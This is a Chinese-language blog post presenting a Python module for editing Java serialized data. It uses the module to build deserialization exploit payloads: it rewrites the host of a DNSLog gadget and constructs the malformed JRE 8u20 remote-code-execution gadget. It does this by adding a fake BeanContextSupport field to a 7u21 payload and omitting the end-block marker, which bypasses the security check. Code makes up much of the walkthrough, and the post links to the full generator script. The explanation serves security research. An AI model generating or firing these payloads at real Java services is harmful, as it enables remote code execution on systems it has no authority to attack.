簡介
最近受朋友所托,在使用python寫掃描器關於java反序列化漏洞的exp中,一直無法簡便的生成payload。目前來說只有兩種方法:
- python通過命令調用java的Ysoerial.jar 去獲取gadget。 缺點太多了,還要在線上環境中准備一個jdk,對於特殊的gadget,比如7u21 這種payload,還需要准備多個版本的jdk。
- python直接寫死gadget的字節碼。
當然,上面兩種方法都有一個最致命的缺點,那就是無法隨意更改Suid值等反序列化屬性。在反序列化攻擊的場景中。經常會出現suid不一致而導致無法攻擊成功的案例,當然,各種奇技淫巧都是在jar包中想辦法,而很少有人在反序列化文件上動手。
於是,我按照java反序列化協議標准,使用python編寫一個模塊,可以做到自由讀寫java反序列化文件。當然,后期也可能會推出Java版。
生成8u20 gadget才是最具有挑戰的事,因為網上的工具,操作起來基本都很復雜,需要手工計算handle等復雜操作。這對一個不懂java反序列化協議的人來講,十分不友好。而且,8u20 gadget是一個畸形的反序列化數據。生成它需要很多復雜的工作
我們先從dnslog說起,從易到難,看一下如何使用javaSerializationTools模塊讀寫java序列化文件
修改Dnslog gadget的網址
在這里我們不關心dnslog這個gadget是如何觸發的,我們只關心如何修改dnslog地址。
修改dnslog的地址,其實也就是修改java.net.URL對象的host字段的值。所以我們先讀取一個dnslog的反序列化文件,解析成功后保存為yaml文本格式的模板。
json 不支持復雜對象的存儲,比如java中經常會出現對象的循環引用,json無法表達這種關系,而yaml可以表達,但是犧牲部分可讀性。主要為了降低工作量
示例代碼如下:
with open("../files/dnslog.ser", "rb") as f:
a = ObjectRead(f)
dnslog = a.readContent()
在這里我使用模塊的javaObject
類去表示一個java類。因為在反序列化數據中,只有對象,對象中的字段以及對象的類,如果存在額外數據,則添加到javaObject
對象中的objectAnnoation
列表中。下面我們來看截圖,看一下dnslog是如何被解析的
loadFactor
和threshold
是HasnMap對象的兩個屬性,在這里沒什么好說的。下面來說一下我是如何保存java對象中字段的值。
在java中某個類可能繼承自父類,父類也可能繼承自爺爺類。java為了精准的保存某個對象,會將對象所有的字段都保存下來。在反序列化還原對象中,首先讀取對象的類的描述。也就是如上圖中javaClass所表示的一樣。隨后在還原對象的值中,會按照讀取的類的描述中字段的順序,先讀取父類的值,再讀取子類的值。所以我將字段保存為多維數組,按層保存。其中字段的順序與javaCLass中描述的字段順序必須一致。
下面再講一下 objectAnnoation
。在反序列化中,默認保存對象的所有值。但是對於HashMap這種對象來講,對象中的值,也就是key和value是不固定的,沒有辦法保存。這時需要writeObject和readObject方法。writeObject方法是寫入對象中額外的對象的特殊方法。經過writeObject方法寫入的內容,會被寫入到ObjectAnnotation中。readObject讀取,也是讀取ObjectAnnotation中的信息。在反序列化中,首先寫入父類的字段值,如果父類存在writeObject,則再調用writeObject寫入額外信息。然后再寫入子類的字段值。writeObject函數在調用成功后,會向ObjectAnnotation中寫入EndBlock標識終結。
對於hashmap對象來說,key和value分別存放到ObjectAnnotation中。我們需要想辦法修改URL對象的host字段。URL對象的布局如下圖所示
修改起來很簡單,代碼如下
dnslogUrl = 'bza4l5.dnslog.cn'
with open('dnslog.yaml', "r") as f:
dnslog = yaml.load(f, Loader=yaml.FullLoader)
UrlObject = dnslog.objectAnnotation[2]
# 修改java.net.URL的host屬性為新的dnslog地址
dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl
with open('dnslog.ser', 'wb') as f:
ObjectWrite(f).writeContent(dnslog)
dnslog.yaml 截圖如下
生成 JRE 8u20 gadget
上面簡單對象已經講完了,下面我們來說一下復雜對象的讀寫。我們只需要大概了解jre 7u21 payload的觸發流程即可。以及修復方式如何被繞過的。
7u21的gadget中 LinkedHashMap
的readObject
觸發sun.reflect.annotation.AnnotationInvocationHandler
,最終觸發RCE。修復方法如下圖所示。readObject中會判斷反序列化的類型,如果不是所期望的,則直接拋出異常。
我們還需要回顧剛才講的writeObject方法。假如一個對象在序列化過程中,調用writeObject方法。則java序列化中,是不會序列化任何字段值,一切交由對象的writeObject方法去處理。所以一般的writeObject方法中,只是保存額外信息,對象的字段值,統統交由defaultReadObject()去處理。
雖然sun.reflect.annotation.AnnotationInvocationHandler
拋出了異常,但是對象以及所有的屬性,其實已經還原完畢了。並且后面也可以調用。
我們分析一下原因,打開java序列化協議標准中關於還原對象的部分或者我自寫的ObjectRead類的readObject方法
在java序列化協議中,為了防止循環引用,或者為了節約序列化后空間,會將出現一摸一樣的對象中第二個相同的對象使用reference代替,你可以理解為c語言的指針。在還原對象中,首先為被還原對象建立reference,其次再還原對象的值。
在sun.reflect.annotation.AnnotationInvocationHandler
的readObject中,我們可以看到拋出異常的代碼后面,也沒有額外信息可以供我們讀取。所以,即使拋出了異常,但是對象也是被成功還原的,拋出異常前,對象的所有字段其實已經被還原完成了。所以我們想辦法攔截異常信息,不打斷正常的反序列化流程即可。這就是8u20 gadget的通俗解釋。
在這里我們直接看java.beans.beancontext.BeanContextSupport#readChildren
方法。在這里讀取了額外的對象,並且也捕獲異常信息。並沒有打斷正常的反序列化流程。
剛才我們說過,ObjectAnnotation的結尾,存放JavaEndBlockData去標識本對象的ObjectAnnotation結束。但是現在拋出異常導致BeanContextSupport
的ObjectAnnotation中JavaEndBlockData無法被正常處理。如果我們不刪除這個javaEndBlock,就會導致后面讀取全部錯誤。這也就是jre 8u20無法被第三方軟件解析成功的原因。所以我們在生成BeanContextSupport中不能按照規定,在ObjectAnnotation的結尾處生成JavaEndBlockData標識。這也就是8u20 畸形數據的來源。
下面我們來看一下7u21 的解析結果,如圖
我們剛說過,在反序列化流程中,一般都是首先還原對象中字段的值,再還原objectAnnotation中的值。我們只需要插入一個虛假的字段到LinkedHashSet中,java反序列化中,如果遇到虛假的反序列化值,是不會影響正常的反序列化的流程的。
說起來容易做起來難,java序列化是不會生成這種畸形數據的。手工修改7u21的payload,插入一個新對象的話,后面所有的引用都需要一一修改。這個工作量聽起來就很嚇人,而且很容易出錯。
所以我使用 javaSerializationTools模塊,修改7u21的gadget,自動計算引用等。
首先向LinkedHashSet中添加一個新的字段,名字叫fake,類型為BeanContextSupport
代碼如下
with open("../files/7u21.ser", "rb") as f:
a = ObjectRead(f)
obj = a.readContent()
# 第一步,向HashSet添加一個假字段,名字fake
signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;")
fakeSignature = {'name': 'fake', 'signature': signature}
obj.javaClass.superJavaClass.fields.append(fakeSignature)
然后構造BeanContextSupport對象的值
# 構造假的BeanContextSupport反序列化對象,注意要引用后面的AnnotationInvocationHandler
# 讀取BeanContextSupportClass的類的簡介
with open('BeanContextSupportClass.yaml', 'r') as f1:
BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader)
# 向beanContextSupportObject添加beanContextChildPeer屬性
beanContextSupportObject = JavaObject(BeanContextSupportClassDesc)
beanContextChildPeerField = JavaField('beanContextChildPeer',
JavaString('Ljava/beans/beancontext/BeanContextChild'),
beanContextSupportObject)
beanContextSupportObject.fields.append([beanContextChildPeerField])
# 向beanContextSupportObject添加serializable屬性
serializableField = JavaField('serializable', 'I', 1)
beanContextSupportObject.fields.append([serializableField])
最后處理objectAnnotation,因為BeanContextSupport的父類也有writeObject方法。根據協議,我們第一個值為javaEndBlock,第二個值才是sun.reflect.annotation.AnnotationInvocationHandler
對象,在這里我們直接引用7u21 的AnnotationInvocationHandler
對象。這樣,真正起作用的AnnotationInvocationHandler
直接引用第一個成功還原的AnnotationInvocationHandler
的對象。而引用的對象,再被引用的過程中是不會調用readObject方法的。
代碼如下
# 向beanContextSupportObject添加objectAnnontations 數據
beanContextSupportObject.objectAnnotation.append(JavaEndBlock())
AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value
beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler)
# 把beanContextSupportObject對象添加到fake屬性里
fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject)
obj.fields[0].append(fakeField)
當然在這里不需要計算handle,只需要使用ObjectWrite對象寫入文件,即可自動計算handle等一切繁瑣的事
with open("8u20.ser", 'wb') as f:
o = ObjectWrite(f)
o.writeContent(obj)
8u20 gadget 布局如下圖所示
完整的代碼詳見 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py
歡迎fork star項目,目前還在設計中,使用起來將會更加容易
項目地址 https://github.com/potats0/javaSerializationTools